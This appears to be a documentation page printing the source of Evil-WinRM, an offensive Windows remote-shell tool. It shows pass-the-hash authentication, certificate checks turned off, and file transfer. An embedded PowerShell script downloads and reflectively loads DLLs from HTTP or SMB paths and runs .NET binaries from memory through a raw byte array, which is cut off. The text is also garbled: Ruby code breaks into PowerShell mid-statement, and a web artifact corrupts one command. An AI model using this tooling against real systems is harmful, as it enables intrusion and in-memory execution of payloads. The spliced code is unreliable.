Class: EvilWinRM

Inherits:
Object
  • Object
show all
Defined in:
lib/evil-winrm.rb

Overview

Class creation

Instance Method Summary collapse

Constructor Details

#initializeEvilWinRM

Initialization


118
119
120
121
122
123
# File 'lib/evil-winrm.rb', line 118

def initialize()
    @directories = Hash.new
    @cache_ttl = 10
    @executables = Array.new
    @functions = Array.new
end

Instance Method Details

#argumentsObject

Arguments


144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
# File 'lib/evil-winrm.rb', line 144

def arguments()
    options = { port:$port, url:$url, service:$service }
    optparse = OptionParser.new do |opts|
        opts.banner = "Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]"
        opts.on("-S", "--ssl", "Enable ssl") do |val|
            $ssl = true
            options[:port] = "5986"
        end
        opts.on("-c", "--pub-key PUBLIC_KEY_PATH", "Local path to public key certificate") { |val| options[:pub_key] = val }
        opts.on("-k", "--priv-key PRIVATE_KEY_PATH", "Local path to private key certificate") { |val| options[:priv_key] = val }
        opts.on("-r", "--realm DOMAIN", "Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }") { |val| options[:realm] = val.upcase }
        opts.on("-s", "--scripts PS_SCRIPTS_PATH", "Powershell scripts local path") { |val| options[:scripts] = val }
        opts.on("--spn SPN_PREFIX", "SPN prefix for Kerberos auth (default HTTP)") { |val| options[:service] = val }
        opts.on("-e", "--executables EXES_PATH", "C# executables local path") { |val| options[:executables] = val }
        opts.on("-i", "--ip IP", "Remote host IP or hostname. FQDN for Kerberos auth (required)") { |val| options[:ip] = val }
        opts.on("-U", "--url URL", "Remote url endpoint (default /wsman)") { |val| options[:url] = val }
        opts.on("-u", "--user USER", "Username (required if not using kerberos)") { |val| options[:user] = val }
        opts.on("-p", "--password PASS", "Password") { |val| options[:password] = val }
        opts.on("-H", "--hash HASH", "NTHash") do |val|
            if !options[:password].nil? and !val.nil?
                self.print_header()
                self.print_message("You must choose either password or hash auth. Both at the same time are not allowed", TYPE_ERROR)
                self.custom_exit(1, false)
            end
            if !val.match /^[a-fA-F0-9]{32}$/
                self.print_header()
                self.print_message("Invalid hash format", TYPE_ERROR)
                self.custom_exit(1, false)
            end
            options[:password] = "00000000000000000000000000000000:#{val}"
        end
        opts.on("-P", "--port PORT", "Remote host port (default 5985)") { |val| options[:port] = val }
        opts.on("-V", "--version", "Show version") do |val|
            puts("v#{VERSION}")
            self.custom_exit(0, false)
        end
        opts.on("-n", "--no-colors", "Disable colors") do |val|
            $colors_enabled = false
        end
        opts.on("-N", "--no-rpath-completion", "Disable remote path completion") do |val|
            $check_rpath_completion = false
        end
        opts.on("-l","--log","Log the WinRM session") do|val|
            $log = true
            $filepath = ""
            $logfile = ""
            $logger = ""
        end
        opts.on("-h", "--help", "Display this help message") do
            self.print_header()
            puts(opts)
            puts()
            self.custom_exit(0, false)
        end
    end

    begin
        optparse.parse!
    if options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil? then
        mandatory = [:ip, :user]
    else
        mandatory = [:ip]
    end
        missing = mandatory.select{ |param| options[param].nil? }
        unless missing.empty?
            raise OptionParser::MissingArgument.new(missing.join(', '))
        end
    rescue OptionParser::InvalidOption, OptionParser::MissingArgument
        self.print_header()
        self.print_message($!.to_s, TYPE_ERROR, true, $logger)
        puts(optparse)
        puts()
        custom_exit(1, false)
    end

    if options[:password].nil? and options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil?
        options[:password] = STDIN.getpass(prompt='Enter Password: ')
    end

    $host = options[:ip]
    $user = options[:user]
    $password = options[:password]
    $port = options[:port]
    $scripts_path = options[:scripts]
    $executables_path = options[:executables]
    $url = options[:url]
    $pub_key = options[:pub_key]
    $priv_key = options[:priv_key]
    $realm = options[:realm]
    $service = options[:service]
    if !$log.nil? then
        if !Dir.exists?($full_logging_path)
            Dir.mkdir $full_logging_path
        end
        if !Dir.exists?($full_logging_path + "/" + Time.now.strftime("%Y%d%m"))
            Dir.mkdir $full_logging_path + "/" + Time.now.strftime("%Y%d%m")
        end
        if !Dir.exists?($full_logging_path + "/" + Time.now.strftime("%Y%d%m") + "/" + $host)
            Dir.mkdir $full_logging_path+ "/" + Time.now.strftime("%Y%d%m") + "/" + $host
        end
        $filepath = $full_logging_path + "/" + Time.now.strftime("%Y%d%m") + "/" + $host + "/" + Time.now.strftime("%H%M%S")
        $logger = Logger.new($filepath)
        $logger.formatter = proc do |severity, datetime, progname, msg|
            "#{datetime}: #{msg}\n"
        end
    end
    if !$realm.nil? then
        if $service.nil? then
            $service = $default_service
        end
    end
end

#check_certs(pub_key, priv_key) ⇒ Object

Certificates validation


356
357
358
359
360
361
362
363
364
365
366
# File 'lib/evil-winrm.rb', line 356

def check_certs(pub_key, priv_key)
     if !File.file?(pub_key) then
        self.print_message("Path to provided public certificate file \"#{pub_key}\" can't be found. Check filename or path", TYPE_ERROR, true, $logger)
        self.custom_exit(1)
    end

    if !File.file?($priv_key) then
        self.print_message("Path to provided private certificate file \"#{priv_key}\" can't be found. Check filename or path", TYPE_ERROR, true, $logger)
        self.custom_exit(1)
    end
end

#check_directories(path, purpose) ⇒ Object

Directories validation


369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
# File 'lib/evil-winrm.rb', line 369

def check_directories(path, purpose)
    if path == "" then
        self.print_message("The directory used for #{purpose} can't be empty. Please set a path", TYPE_ERROR, true, $logger)
        self.custom_exit(1)
    end

    if !(/cygwin|mswin|mingw|bccwin|wince|emx/ =~ RUBY_PLATFORM).nil? then
        # Windows
        if path[-1] != "\\" then
            path.concat("\\")
        end
    else
        # Unix
        if path[-1] != "/" then
            path.concat("/")
        end
    end

    if !File.directory?(path) then
        self.print_message("The directory \"#{path}\" used for #{purpose} was not found", TYPE_ERROR, true, $logger)
        self.custom_exit(1)
    end

    if purpose == "scripts" then
        $scripts_path = path
    elsif purpose == "executables" then
        $executables_path = path
    end
end

#colorize(text, color = "default") ⇒ Object

Define colors


315
316
317
318
319
# File 'lib/evil-winrm.rb', line 315

def colorize(text, color = "default")
    colors = {"default" => "38", "blue" => "34", "red" => "31", "yellow" => "1;33", "magenta" => "35"}
    color_code = colors[color]
    return "\001\033[0;#{color_code}m\002#{text}\001\033[0m\002"
end

#complete_path(str, shell) ⇒ Object


863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
# File 'lib/evil-winrm.rb', line 863

def complete_path(str, shell)
    if @completion_enabled then
        if !str.empty? && !!(str =~ /^(\.\/|[a-z,A-Z]\:|\.\.\/|\~\/|\/)*/i) then
            n_path = str
            parts = self.get_dir_parts(n_path)
            dir_p = parts[0]
            nam_p = parts[1]
            result = []
            result = self.get_from_cache(dir_p) unless dir_p =~ /^(\.\/|\.\.\/|\~|\/)/

            if result.nil? || result.empty? then
                target_dir = dir_p
                pscmd = "[email protected]();$(ls '#{target_dir}*' -ErrorAction SilentlyContinue -Force |Foreach-Object {  if((Get-Item $_.FullName -ErrorAction SilentlyContinue) -is [System.IO.DirectoryInfo] ){ $a +=  \"$($_.FullName.Replace('\\','/'))/\"}else{  $a += \"$($_.FullName.Replace('\\', '/'))\" } });$a += \"$($(Resolve-Path -Path '#{target_dir}').Path.Replace('\\','/'))\";$a"

                output = shell.run(pscmd).output
                s = output.to_s.gsub(/\r/, '').split(/\n/)

                dir_p = s.pop
                self.set_cache(dir_p, s)
                result = s
            end
            dir_p = dir_p + "/" unless dir_p[-1] == "/"
            path_grep = self.normalize_path(dir_p + nam_p)
            path_grep = path_grep.chop() if !path_grep.empty? && path_grep[0] == "\""
            filtered = result.grep(/^#{path_grep}/i)
            return filtered.collect{ |x| "\"#{x}\"" }
        end
    end
end

#completion_checkObject

Remote path completion compatibility check


126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# File 'lib/evil-winrm.rb', line 126

def completion_check()
    if $check_rpath_completion == true then
         begin
             Readline.quoting_detection_proc
                @completion_enabled = true
            rescue NotImplementedError => err
                @completion_enabled = false
                self.print_message("Remote path completions is disabled due to ruby limitation: #{err.to_s}", TYPE_WARNING)
                self.print_message("For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion", TYPE_DATA)
            end
    else
        @completion_enabled = false
        self.print_message("Remote path completion is disabled", TYPE_WARNING)
    end

end

#connection_initializationObject

Generate connection object


264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
# File 'lib/evil-winrm.rb', line 264

def connection_initialization()
    if $ssl then
        if $pub_key and $priv_key then
            $conn = WinRM::Connection.new(
                endpoint: "https://#{$host}:#{$port}/#{$url}",
                user: $user,
                password: $password,
                :no_ssl_peer_verification => true,
                transport: :ssl,
                client_cert: $pub_key,
                client_key: $priv_key,
            )
        else
            $conn = WinRM::Connection.new(
                endpoint: "https://#{$host}:#{$port}/#{$url}",
                user: $user,
                password: $password,
                :no_ssl_peer_verification => true,
                transport: :ssl
            )
        end

    elsif !$realm.nil? then
        $conn = WinRM::Connection.new(
            endpoint: "http://#{$host}:#{$port}/#{$url}",
            user: "",
            password: "",
            transport: :kerberos,
            realm: $realm,
            service: $service
        )
    else
        $conn = WinRM::Connection.new(
            endpoint: "http://#{$host}:#{$port}/#{$url}",
            user: $user,
            password: $password,
            :no_ssl_peer_verification => true
        )
    end
end

#custom_exit(exit_code = 0, message_print = true) ⇒ Object

Custom exit


438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
# File 'lib/evil-winrm.rb', line 438

def custom_exit(exit_code = 0, message_print=true)
    if message_print then
        if exit_code == 0 then
            puts()
            self.print_message("Exiting with code #{exit_code.to_s}", TYPE_INFO, true, $logger)
        elsif exit_code == 1 then
            self.print_message("Exiting with code #{exit_code.to_s}", TYPE_ERROR, true, $logger)
        elsif exit_code == 130 then
            puts()
            self.print_message("Exiting...", TYPE_INFO, true, $logger)
        else
            self.print_message("Exiting with code #{exit_code.to_s}", TYPE_ERROR, true, $logger)
        end
    end
    exit(exit_code)
end

#docker_detectionObject

Detect if a docker environment


306
307
308
309
310
311
312
# File 'lib/evil-winrm.rb', line 306

def docker_detection()
    if File.exist?("/.dockerenv") then
        return true
    else
        return false
    end
end

#extract_filename(path) ⇒ Object


769
770
771
# File 'lib/evil-winrm.rb', line 769

def extract_filename(path)
    path.split('/')[-1]
end

#extract_next_quoted_path(cmd_with_quoted_path) ⇒ Object


773
774
775
776
777
778
779
# File 'lib/evil-winrm.rb', line 773

def extract_next_quoted_path(cmd_with_quoted_path)
    begin_i = cmd_with_quoted_path.index("\"")
    l_total = cmd_with_quoted_path.length()
    next_i = cmd_with_quoted_path[begin_i +1, l_total - begin_i].index("\"")
    result = cmd_with_quoted_path[begin_i +1, next_i]
    result
end

#filesize(shell, path) ⇒ Object

Get filesize


466
467
468
469
# File 'lib/evil-winrm.rb', line 466

def filesize(shell, path)
    size = shell.run("(get-item '#{path}').length").output.strip.to_i
    return size
end

#get_dir_parts(n_path) ⇒ Object


850
851
852
853
854
855
856
857
858
859
860
861
# File 'lib/evil-winrm.rb', line 850

def get_dir_parts(n_path)
    return [n_path, "" ] if !!(n_path[-1] =~ /\/$/)
    i_last = n_path.rindex('/')
    if i_last.nil?
        return ["./", n_path]
    end

    next_i = i_last + 1
    amount = n_path.length() - next_i

    return [n_path[0, i_last + 1], n_path[next_i, amount]]
end

#get_download_paths(download_command, pwd) ⇒ Object


798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
# File 'lib/evil-winrm.rb', line 798

def get_download_paths(download_command, pwd)
    quotes = download_command.count("\"")
    result = []
    if quotes == 0 || quotes % 2 != 0 then
        result = download_command.split(' ')
        result.delete_at(0)
    else
        quoted_path = self.extract_next_quoted_path(download_command)
        download_command = download_command.gsub("\"#{quoted_path}\"", '')
        result.push(quoted_path)
        rest = download_command.split(' ')
        unless rest.nil? || rest.empty?
            rest.delete_at(0)
            result.push(rest[0]) if rest.length == 1
        end
    end

    result.push("./#{self.extract_filename(result[0])}") if result.length == 1
    result
end

#get_from_cache(n_path) ⇒ Object


819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
# File 'lib/evil-winrm.rb', line 819

def get_from_cache(n_path)
    unless n_path.nil? || n_path.empty? then
        a_path = self.normalize_path(n_path)
        current_time = Time.now.to_i
        current_vals = @directories[a_path]
        result = Array.new
        unless current_vals.nil? then
            is_valid = current_vals['time'] > current_time - @cache_ttl
            result = current_vals['files'] if is_valid
            @directories.delete(a_path) unless is_valid
        end

        return result
    end
end

#get_upload_paths(upload_command, pwd) ⇒ Object


781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
# File 'lib/evil-winrm.rb', line 781

def get_upload_paths(upload_command, pwd)
    quotes = upload_command.count("\"")
    result = []
    if quotes == 0 || quotes % 2 != 0 then
        result = upload_command.split(' ')
        result.delete_at(0)
    else
        quoted_path = self.extract_next_quoted_path(upload_command)
        upload_command = upload_command.gsub("\"#{quoted_path}\"", '')
        result = upload_command.split(' ')
        result.delete_at(0)
        result.push(quoted_path) unless quoted_path.nil? || quoted_path.empty?
    end
    result.push("#{pwd}\\#{self.extract_filename(result[0])}") if result.length == 1
    result
end

#mainObject

Main function


472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
# File 'lib/evil-winrm.rb', line 472

def main
    self.arguments()
    self.connection_initialization()
    file_manager = WinRM::FS::FileManager.new($conn)
    self.print_header()
    self.completion_check()

    # Log check
    if !$log.nil? then
        self.print_message("Logging Enabled. Log file: #{$filepath}", TYPE_WARNING, true)
    end

    # SSL checks
    if !$ssl and ($pub_key or $priv_key) then
        self.print_message("Useless cert/s provided, SSL is not enabled", TYPE_WARNING, true, $logger)
    elsif $ssl
        self.print_message("SSL enabled", TYPE_WARNING)
    end

    if $ssl and ($pub_key or $priv_key) then
        self.check_certs($pub_key, $priv_key)
    end

    # Kerberos checks
     if !$user.nil? and !$realm.nil?
        self.print_message("User is not needed for Kerberos auth. Ticket will be used", TYPE_WARNING, true, $logger)
    end

    if !$password.nil? and !$realm.nil?
        self.print_message("Password is not needed for Kerberos auth. Ticket will be used", TYPE_WARNING, true, $logger)
    end

    if $realm.nil? and !$service.nil? then
        self.print_message("Useless spn provided, only used for Kerberos auth", TYPE_WARNING, true, $logger)
    end

    if !$scripts_path.nil? then
        self.check_directories($scripts_path, "scripts")
        @functions = self.read_scripts($scripts_path)
        self.silent_warnings do
            $LIST = $LIST + @functions
        end
    end

    if !$executables_path.nil? then
        self.check_directories($executables_path, "executables")
        @executables = self.read_executables($executables_path)
    end
    menu = Base64.decode64("$x = "CiAgICwuICAgKCAgIC4gICAgICApICAgICAgICAgICAgICAgIiAgICAgICAgICAgICwuICAgKCAgIC4gICAgICApICAgICAgIC4gICAKICAoIiAgKCAgKSAgKScgICAgICwnICAgICAgICAgICAgIChgICAgICAnYCAgICAoIiAgICAgKSAgKScgICAgICwnICAgLiAgLCkgIAouOyApICAnICgoICgiICkgICAgOygsICAgICAgLiAgICAgOykgICIgICkiICAuOyApICAnICgoICgiICkgICApOygsICAgKSgoICAgCl8iLixfLC5fXykuLCkgKC4uXyggLl8pLCAgICAgKSAgLCAoLl8uLiggJy4uXyIuXywgLiAnLl8pXyguLixfKF8iLikgXyggXycpICAKXF8gICBfX19fXy9fXyAgX3xfX3wgIHwgICAgKCggICggIC8gIFwgICAgLyAgXF9ffCBfX19fXF9fX19fXyAgIFwgIC8gICAgIFwgIAogfCAgICBfXylfXCAgXC8gLyAgfCAgfCAgICA7XylfJykgXCAgIFwvXC8gICAvICB8LyAgICBcfCAgICAgICBfLyAvICBcIC8gIFwgCiB8ICAgICAgICBcXCAgIC98ICB8ICB8X18gL19fX19fLyAgXCAgICAgICAgL3wgIHwgICB8ICBcICAgIHwgICBcLyAgICBZICAgIFwKL19fX19fX18gIC8gXF8vIHxfX3xfX19fLyAgICAgICAgICAgXF9fL1wgIC8gfF9ffF9fX3wgIC9fX19ffF8gIC9cX19fX3xfXyAgLwogICAgICAgIFwvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwvICAgICAgICAgIFwvICAgICAgIFwvICAgICAgICAgXC8gCiAgICAgICAgICAgICAgQnk6IEN5YmVyVmFjYSwgT3NjYXJBa2FFbHZpcywgTGFveCBASGFja3BsYXllcnMgIAog"
$menu = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x))


if ($funciones_previas.count -le 1) {$funciones_previas = (ls function:).Name}

function Dll-Loader {
    param([switch]$smb, [switch]$local, [switch]$http, [string]$path)

    $help=@"
.SYNOPSIS
    dll loader.
    PowerShell Function: Dll-Loader
    Author: HÃ©ctor de Armas (3v4Si0N)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION
    .
.EXAMPLE
    Dll-Loader -smb -path \\192.168.139.132\\share\\myDll.dll
    Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll
    Dll-Loader -http -path http://example.com/myDll.dll

    Description
    -----------
    Function that loads an arbitrary dll
"@

    if (($smb -eq $false -and $local -eq $false -and $http -eq $false) -or ($path -eq "" -or $path -eq $null))
    {
        write-host "$help`n"
    }
    else
    {

        if ($http)
        {
            Write-Host "[+] Reading dll by HTTP"
            $webclient = [System.Net.WebClient]::new()
            $dll = $webclient.DownloadData($path)
        }
        else
        {
            if($smb){ Write-Host "[+] Reading dll by SMB" }
            else { Write-Host "[+] Reading dll locally" }

            $dll = [System.IO.File]::ReadAllBytes($path)
        }
        

        if ($dll -ne $null)
        {
            Write-Host "[+] Loading dll..."
            $assembly_loaded = [System.Reflection.Assembly]::Load($dll)
            $obj = (($assembly_loaded.GetExportedTypes() | Select-Object DeclaredMethods ).DeclaredMethods | Where-Object {$_.ispublic -eq $true} | Select-Object DeclaringType,name -Unique -ErrorAction SilentlyContinue )
            [array]$methods = foreach ($assemblyproperties in $obj) { $namespace = $assemblyproperties.DeclaringType.tostring(); $metodo = $assemblyproperties.name.tostring(); "[" + $namespace + "]" + "::" + $metodo + "()" }
            $methods = $methods | Select-Object -Unique ; $global:showmethods =   ($methods| where { $global:showmethods  -notcontains $_}) | foreach {"$_`n"}
            
        }
    }
}
function menu {
[array]$funciones_nuevas = (ls function: | Where-Object {($_.name).Length -ge "4" -and $_.name -notlike "Clear-Host*" -and $_.name -notlike "ConvertFrom-SddlString" -and $_.name -notlike "Format-Hex" -and $_.name -notlike "Get-FileHash*" -and $_.name -notlike "Get-Verb*" -and $_.name -notlike "help" -and $_.name -ne "Import-PowerShellDataFile" -and $_.name -ne "ImportSystemModules" -and $_.name -ne "Main" -and $_.name -ne "mkdir" -and $_.name -ne "cd.." -and $_.name -ne "mkdir" -and $_.name -ne "more" -and $_.name -ne "New-Guid" -and $_.name -ne "New-TemporaryFile" -and $_.name -ne "Pause" -and $_.name -ne "TabExpansion2" -and $_.name -ne "prompt" -and $_.name -ne "menu" -and $_.name -ne "auto" -and $_.name -ne "show-methods-loaded" } | select-object name ).name
$muestra_funciones = ($funciones_nuevas | where {$funciones_precargadas -notcontains $_}) | foreach {"`n[+] $_"}
$muestra_funciones = $muestra_funciones -replace "  ","" 
$menu = $menu + $muestra_funciones + "`n"
$menu = $menu -replace " [+]","[+]"
Write-Host $menu

}
function auto {
[array]$funciones_nuevas = (ls function: | Where-Object {($_.name).Length -ge "4" -and $_.name -notlike "Clear-Host*" -and $_.name -notlike "ConvertFrom-SddlString" -and $_.name -notlike "Format-Hex" -and $_.name -notlike "Get-FileHash*" -and $_.name -notlike "Get-Verb*" -and $_.name -notlike "help" -and $_.name -ne "Import-PowerShellDataFile" -and $_.name -ne "ImportSystemModules" -and $_.name -ne "Main" -and $_.name -ne "mkdir" -and $_.name -ne "cd.." -and $_.name -ne "mkdir" -and $_.name -ne "more" -and $_.name -ne "New-Guid" -and $_.name -ne "New-TemporaryFile" -and $_.name -ne "Pause" -and $_.name -ne "TabExpansion2" -and $_.name -ne "prompt" -and $_.name -ne "menu" -and $_.name -ne "show-methods-loaded"} | select-object name ).name
$muestra_funciones = ($funciones_nuevas | where {$funciones_precargadas -notcontains $_}) | foreach {"$_`n"}
$muestra_funciones = $muestra_funciones -replace "  ","" 
$muestra_funciones


}
function Invoke-Binary {param($arg)
    $help=@"
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION
    
.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.


"@
if ($arg -eq $null) {$help} else {
[Reflection.Assembly]::Load([byte[]]@(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 76, 1, 3, 0, 245, 182, 231, 92, 0, 0, 0, 0, 0, 0, 0, 0, 224, 0, 2, 33, 11, 1, 11, 0, 0, 10, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 94, 41, 0, 0, 0, 32, 0, 0, 0, 64, 0, 0, 0, 0, 0, 16, 0, 32, 0, 0, 0, 2, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 3, 0, 96, 133, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 12, 41, 0, 0, 79, 0, 0, 0, 0, 64, 0, 0, 40, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 12, 0, 0, 0, 212, 39, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 32, 0, 0, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 100, 9, 0, 0, 0, 32, 0, 0, 0, 10, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 96, 46, 114, 115, 114, 99, 0, 0, 0, 40, 3, 0, 0, 0, 64, 0, 0, 0, 4, 0, 0, 0, 12, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99, 0, 0, 12, 0, 0, 0, 0, 96, 0, 0, 0, 2, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 41, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 2, 0, 5, 0, 196, 32, 0, 0, 16, 7, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 48, 6, 0, 104, 0, 0, 0, 1, 0, 0, 17, 0, 115, 15, 0, 0, 10, 10, 6, 40, 16, 0, 0, 10, 0, 6, 40, 17, 0, 0, 10, 0, 2, 22, 154, 111, 18, 0, 0, 10, 11, 7, 40, 19, 0, 0, 10, 12, 8, 40, 20, 0, 0, 10, 13, 9, 111, 21, 0, 0, 10, 19, 4, 17, 4, 20, 23, 141, 1, 0, 0, 1, 19, 7, 17, 7, 22, 2, 23, 40, 1, 0, 0, 43, 40, 2, 0, 0, 43, 162, 17, 7, 111, 24, 0, 0, 10, 38, 6, 111, 18, 0, 0, 10, 19, 5, 17, 5, 19, 6, 43, 0, 17, 6, 42, 66, 83, 74, 66, 1, 0, 1, 0, 0, 0, 0, 0, 12, 0, 0, 0, 118, 52, 46, 48, 46, 51, 48, 51, 49, 57, 0, 0, 0, 0, 5, 0, 108, 0, 0, 0, 56, 2, 0, 0, 35, 126, 0, 0, 164, 2, 0, 0, 68, 3, 0, 0, 35, 83, 116, 114, 105, 110, 103, 115, 0, 0, 0, 0, 232, 5, 0, 0, 8, 0, 0, 0, 35, 85, 83, 0, 240, 5, 0, 0, 16, 0, 0, 0, 35, 71, 85, 73, 68, 0, 0, 0, 0, 6, 0, 0, 16, 1, 0, 0, 35, 66, 108, 111, 98, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1, 71, 21, 2, 0, 9, 8, 0, 0, 0, 250, 37, 51, 0, 22, 0, 0, 1, 0, 0, 0, 25, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 24, 0, 0, 0, 12, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 10, 0, 1, 0, 0, 0, 0, 0, 6, 0, 55, 0, 48, 0, 6, 0, 101, 0, 75, 0, 6, 0, 150, 0, 132, 0, 6, 0, 173, 0, 132, 0, 6, 0, 202, 0, 132, 0, 6, 0, 233, 0, 132, 0, 6, 0, 2, 1, 132, 0, 6, 0, 27, 1, 132, 0, 6, 0, 54, 1, 132, 0, 6, 0, 81, 1, 132, 0, 6, 0, 137, 1, 106, 1, 6, 0, 157, 1, 132, 0, 6, 0, 201, 1, 182, 1, 55, 0, 221, 1, 0, 0, 6, 0, 12, 2, 236, 1, 6, 0, 44, 2, 236, 1, 6, 0, 92, 2, 82, 2, 6, 0, 105, 2, 48, 0, 6, 0, 113, 2, 82, 2, 6, 0, 149, 2, 48, 0, 6, 0, 174, 2, 132, 0, 6, 0, 188, 2, 132, 0, 10, 0, 238, 2, 226, 2, 6, 0, 20, 3, 249, 2, 6, 0, 47, 3, 132, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 129, 1, 16, 0, 22, 0, 31, 0, 5, 0, 1, 0, 1, 0, 80, 32, 0, 0, 0, 0, 150, 0, 62, 0, 10, 0, 1, 0, 0, 0, 1, 0, 70, 0, 17, 0, 126, 0, 16, 0, 25, 0, 126, 0, 16, 0, 33, 0, 126, 0, 16, 0, 41, 0, 126, 0, 16, 0, 49, 0, 126, 0, 16, 0, 57, 0, 126, 0, 16, 0, 65, 0, 126, 0, 16, 0, 73, 0, 126, 0, 16, 0, 81, 0, 126, 0, 16, 0, 89, 0, 126, 0, 21, 0, 97, 0, 126, 0, 16, 0, 105, 0, 126, 0, 26, 0, 121, 0, 126, 0, 32, 0, 129, 0, 126, 0, 37, 0, 137, 0, 126, 0, 37, 0, 145, 0, 124, 2, 41, 0, 145, 0, 131, 2, 41, 0, 9, 0, 140, 2, 47, 0, 161, 0, 157, 